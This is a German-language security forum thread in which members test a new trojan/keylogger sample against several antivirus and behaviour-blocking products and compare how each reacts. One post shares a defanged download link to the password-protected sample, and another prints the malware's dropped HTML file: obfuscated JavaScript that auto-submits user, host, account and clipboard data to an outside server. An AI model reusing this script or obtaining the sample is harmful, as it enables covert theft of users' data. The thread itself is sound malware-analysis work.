![]() |
Willkommen, Gast ( Anmelden | Registrierung )
![]() ![]() |
![]() |
Gast_kurz-pc_* |
![]()
Beitrag
#2021
|
Gäste ![]() |
|
|
|
![]()
Beitrag
#2022
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 2.829 Mitglied seit: 06.10.2005 Mitglieds-Nr.: 3.709 Betriebssystem: Win 10 Home (1909) Virenscanner: Avira free Firewall: Comodo ![]() |
TrendMicro ist jetzt wider bei VirusTotal Vertreten. http://blog.hispasec.com/virustotal/31 Hoffentlich kommt bald auch a-squared dazu. habe mal im emsisoft-forum einen Link gefunden, schon ziemlich alt, sieht nicht so aus als würde es mit VT funktionieren Klick |
|
|
![]()
Beitrag
#2023
|
|
Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 4.246 Mitglied seit: 12.06.2004 Mitglieds-Nr.: 984 Betriebssystem: Windows 10 ![]() |
|
|
|
![]()
Beitrag
#2024
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.794 Mitglied seit: 28.06.2007 Mitglieds-Nr.: 6.287 Betriebssystem: Windows 7 x64 Virenscanner: Sandboxie Firewall: NAT|Comodo (HIPS) ![]() |
Mal wieder ein Trojaner gefällig
![]() Habe z.Z. Vista 64 mit AntiVir Premium und Comodo am laufen. AntiVir hat wirklich nichts gefunden, Comodo hat aber gemeckert, dass das Sample an verschiedenen stellen eine "smss.exe" droppen und diese dann starten wollte. [attachment=3747:vir.jpg] Da sieht man wieder, wie beschränkt und damit letzten Endes wirkungslos herkömmliche AV-Lösungen sein können. Ich kann das Teil leider nicht mit dem HIPS von KIS prüfen, da Kaspersky bereits eine Signatur in petto hat und das Programm so unabhängig von der Dateianalyse einen Risikoindex von 100 bekommt. Bietet sich wer an, das Teil mit AntiBot oder anderen Verhaltensblockern zu testen? -------------------- ![]() |
|
|
![]()
Beitrag
#2025
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
Ja gibma her...
-------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#2026
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.794 Mitglied seit: 28.06.2007 Mitglieds-Nr.: 6.287 Betriebssystem: Windows 7 x64 Virenscanner: Sandboxie Firewall: NAT|Comodo (HIPS) ![]() |
hxxp://rapidshare.de/files/39794107/WUPH.7z.html
Das Passwort ist, wie üblich, "infected". -------------------- ![]() |
|
|
![]()
Beitrag
#2027
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.794 Mitglied seit: 28.06.2007 Mitglieds-Nr.: 6.287 Betriebssystem: Windows 7 x64 Virenscanner: Sandboxie Firewall: NAT|Comodo (HIPS) ![]() |
Betahotfix scheint das Laden von neuen Signaturen vom Hauptserver zu verhindern, naja. Wenigstens kann ich so das Sample mit dem HIPS testen:
Hier eine kleine Bildserie: [attachment=3748:hips1.jpg] [attachment=3749:hips2.jpg] [attachment=3750:hips3.jpg] [attachment=3751:hips4.jpg] [attachment=3752:task.jpg] Der Prozess läuft nach dem Blocken diverser Aktivitäten nur noch im Leerlauf mit. Schon böseres Zeug gesehen... -------------------- ![]() |
|
|
![]()
Beitrag
#2028
|
|
Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 4.246 Mitglied seit: 12.06.2004 Mitglieds-Nr.: 984 Betriebssystem: Windows 10 ![]() |
![]() Ist übrigens sehr jung. So etwas nennt man Reaktionszeit. ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#2029
|
Threadersteller Gäste ![]() |
n'abend...
![]() @ evil mc afee heuristik meint es ist/kann ein keylogger.... sein... heuristic detection |beav-vb keylogger |Trojan die ergebnisse bei den onlinescanner sind schwach...nur kaspersky und fortinet.... von daher....seltsam... ![]() |
|
|
![]()
Beitrag
#2030
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
wird erkannt , das Teil hat einfach zuviele bösartige Aktionen auf Lager die gegen eine ganze Reihe der Antibot Regeln verstösst.
Angehängte Datei(en)
-------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#2031
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.794 Mitglied seit: 28.06.2007 Mitglieds-Nr.: 6.287 Betriebssystem: Windows 7 x64 Virenscanner: Sandboxie Firewall: NAT|Comodo (HIPS) ![]() |
n'abend... ![]() @ evil mc afee heuristik meint es ist/kann ein keylogger.... sein... heuristic detection |beav-vb keylogger |Trojan die ergebnisse bei den onlinescanner sind schwach...nur kaspersky und fortinet.... von daher....seltsam... ![]() Da liegt die Heuristik von McAfee anscheinend richtig. Dass so wenige Scanner das Sample signaturbasierend erkennen liegt wohl daran, dass es noch ziemlich neu ist (wie der Screen von Rios ja auch zeigt). Das NAB was findet ist positiv, überrascht mich aber nicht ![]() -------------------- ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#2032
|
Threadersteller Gäste ![]() |
mc afee is ja nu nicht schlecht
![]() hmm... fortinet hat überhaupt eine exotische erkennung.... hab schon oft sachen gehabt die nur von fortinet oder einem anderen erkannt wurden...hab die meistens deshalb "weggeworfen".... jetzt werd ich in so einzelfällen aufpassen! ![]() ![]() |
|
|
![]()
Beitrag
#2033
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
ZITAT Dass so wenige Scanner das Sample signaturbasierend erkennen liegt wohl daran, dass es noch ziemlich neu ist (wie der Screen von Rios ja auch zeigt). Ich denke das liegt eher daran weil die Scanner diese smss.exe aus dem Installer nicht extrahieren können. -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
Gast_Xeon_* |
![]()
Beitrag
#2034
|
Gäste ![]() |
|
|
|
![]()
Beitrag
#2035
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
@Xeon
Da wäre ich mir an deiner Stelle nicht so sicher, genau das ist nur eine Fake Meldung ! die auch unter XP erscheint um den User zu täuschen das Programm sei nicht lauffähig und trotzdem startet sich die SMSS im Userverzeichnis Startmenüordner , hier wird Vista nur unter Umständen eine UAC Meldung bringen wenn das Rootkit eine administrative Schreibberechtigung anfordert. Gleich mal mit Vista testen... Da isse C:\Users\Test\AppData\Roaming\Microsoft\Windows\Start Menu\smss.exe Der Installer erstellt auch eine HTML Datei im Startmenü , wenn man diese aufruft soll ein ActiveX ausgeführt werden. ZITAT <script language=JavaScript>mik='%3Chtml%3E%0D%0A%3Cbody%3E%0D%0A%3Cform%20method%3D%22POST%22%20action%3D%22%0D%0A%22%20name%3D%22form1%22%3E%0D%0A%20%20%3Cp%3E%0D%0A%20%20%3Cinput%20type%3D%22hidden%22%20%0D%0Aname%3D%22T1%22%20size%3D%2220%22%20%0D%0Avalue%3D%22To%22%3E%3Cinput%20%0D%0Atype%3D%22hidden%22%20name%3D%22T2%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60Test%60%3E%3Cinput%20%0D%0Atype%3D%22hidden%22%20%0D%0Aname%3D%22T3%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60TEST-PC@gurushop.com%60%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22T4%22%20%0D%0Asize%3D%2220%22%20value%3D%22Subject%22%3E%3C/p%3E%0D%0A%20%20%3Cp%3E%3Cinput%20type%3D%22hidden%22%20%0D%0Aname%3D%22T5%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60Test%60%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22T6%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60TEST-PC%60%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22T7%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60Batch%60%3E%3Cinput%20%0D%0Atype%3D%22hidden%22%20%0D%0Aname%3D%22T8%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60Cyber%60%3E%3C/p%3E%0D%0A%20%20%3Cp%3E%3Cinput%20type%3D%22hidden%22%20%0D%0Aname%3D%22T9%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60Administrator%60%3E%3Cinput%20type%3D%22hidden%22%20%0D%0Aname%3D%22T10%22%20size%3D%2220%22%20%0D%0A%20value%3D%60Mudi%60%3E%3Cinput%20type%3D%22hidden%22%20%0D%0Aname%3D%22T21%22%20%0D%0Asize%3D%2220%22%20%0D%0A%20value%3D%60http%3A//9down.pcriot.com/guru/Insert.php%60%3E%3C/p%3E%0D%0A%20%20%3Cp%3E%3Ctextarea%20%0D%0Arows%3D%221%22%20%0D%0Aname%3D%22S1%22%20%0D%0Acols%3D%221%22%3E%0D%0APCUSER%20%3A%20Test%0D%0APCHOST%20%3A%20TEST-PC%0D%0AAcct%20Type%20%3A%20Administrator%0D%0AAdmin%20%3A%20Mudi%0D%0ASerial%20%3A%20Cyber%0D%0ABatch%20%3A%20Batch%0D%0A%0D%0A%0D%0A%0D%0ACLIPBOARD%20%3A%20%0D%0A%3C/textarea%3E%3C/p%3E%0D%0A%3C/form%3E%0D%0A%3C/body%3E%0D%0A%3C/html%3E%0D%0A';duk=unescape(mik);document.write(duk);</script><script language='javascript'>document.form1.submit()</script>
Der Beitrag wurde von bond7 bearbeitet: 22.06.2008, 16:35 -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#2036
|
|
Wohnt schon fast hier ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 1.462 Mitglied seit: 26.03.2007 Wohnort: Mannheim Mitglieds-Nr.: 5.972 Betriebssystem: W8 H 32Bit/ W7 H 32Bit Virenscanner: BD2014/ F-Secure2014 Firewall: BD2014/ F-Secure2014 ![]() |
Da hat bond recht es erscheint auch bei XP und dennoch startet smss laut tastmanager.
Was mich irgendwie etwas erschüttert, das F-secure 2009 nicht den geringsten mucks macht, weder der AV noch die Heuristik noch und das ist eigentlich am traurigsten, weil ja dafür eigentlich da, deepguard. Zumindest hätte ich mal so ne reaktion wie bei Antibot erwartet, oder das zumindest mal irgend ne warnung kommt über einen verbotenen prozess oder so.... Nix passiert. die smss.exe läuft vor sich hin, f-secure, deepguard macht keinen mucks wird hiermit wieder deinstalliert, denn für was brauch ich eine proaktive erkennung wie deepguard die nicht anspricht |
|
|
Gast_Nightwatch_* |
![]()
Beitrag
#2037
|
Gäste ![]() |
Zumindest hätte ich mal so ne reaktion wie bei Antibot erwartet, oder das zumindest mal irgend ne warnung kommt über einen verbotenen prozess oder so.... Nix passiert. die smss.exe läuft vor sich hin, f-secure, deepguard macht keinen mucks Hey Chris! Bin gerade nicht zuhause und werde das Sample erst nachher testen können. Wie war/ist Deepguard bei Dir konfiguriert? Auf welchem OS hast Du die Datei ausgeführt? |
|
|
![]()
Beitrag
#2038
|
|
Wohnt schon fast hier ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 1.462 Mitglied seit: 26.03.2007 Wohnort: Mannheim Mitglieds-Nr.: 5.972 Betriebssystem: W8 H 32Bit/ W7 H 32Bit Virenscanner: BD2014/ F-Secure2014 Firewall: BD2014/ F-Secure2014 ![]() |
hey nightwatch
deepguard war so wie intalliert. also der haken für die leistungsverbesserung und nachfragen oder so. also erster und dritter haken war drin eben so wie installiert. ich wüsste auch nicht das ich auch noch an den deepguard hand anlegen muss um geschützt zu sein, grad das soll ja nicht der fall sein, da er ja vor unbekanntem schützen soll. ich habs auf winxp sp3 getestet kannst ja auch mal versuchen wenn du at home bist gruss chris |
|
|
Gast_Nightwatch_* |
![]()
Beitrag
#2039
|
Gäste ![]() |
ich wüsste auch nicht das ich auch noch an den deepguard hand anlegen muss um geschützt zu sein, grad das soll ja nicht der fall sein, da er ja vor unbekanntem schützen soll. ich habs auf winxp sp3 getestet Ok, danke Dir! Hatte nur gefragt, damit ich das unter gleichen Umständen testen kann. Leider besitze ich aber nur noch Vista-Oberflächen. Trotzdem noch schnell zwei Fragen: 1.) Gehe ich richtig in der Annahme, dass Du das Technology-Preview auf dem Rechner hast? (ISTP) 2.) Leistungsoptimiert...meinst Du damit a) die Einstellungsmöglichkeit unter der Systemsteuerung Verbindungen zum Server herzustellen (siehe Bild) : ![]() oder b) die Einstellung des gesamten AntiVirus/Antispy-Schutzes ? (folgendes Bild) : ![]() Grüße Nightwatch Der Beitrag wurde von Nightwatch bearbeitet: 22.06.2008, 17:01 |
|
|
Gast_Xeon_* |
![]()
Beitrag
#2040
|
Gäste ![]() |
|
|
|
![]() ![]() |
Vereinfachte Darstellung | Aktuelles Datum: 18.05.2025, 02:19 |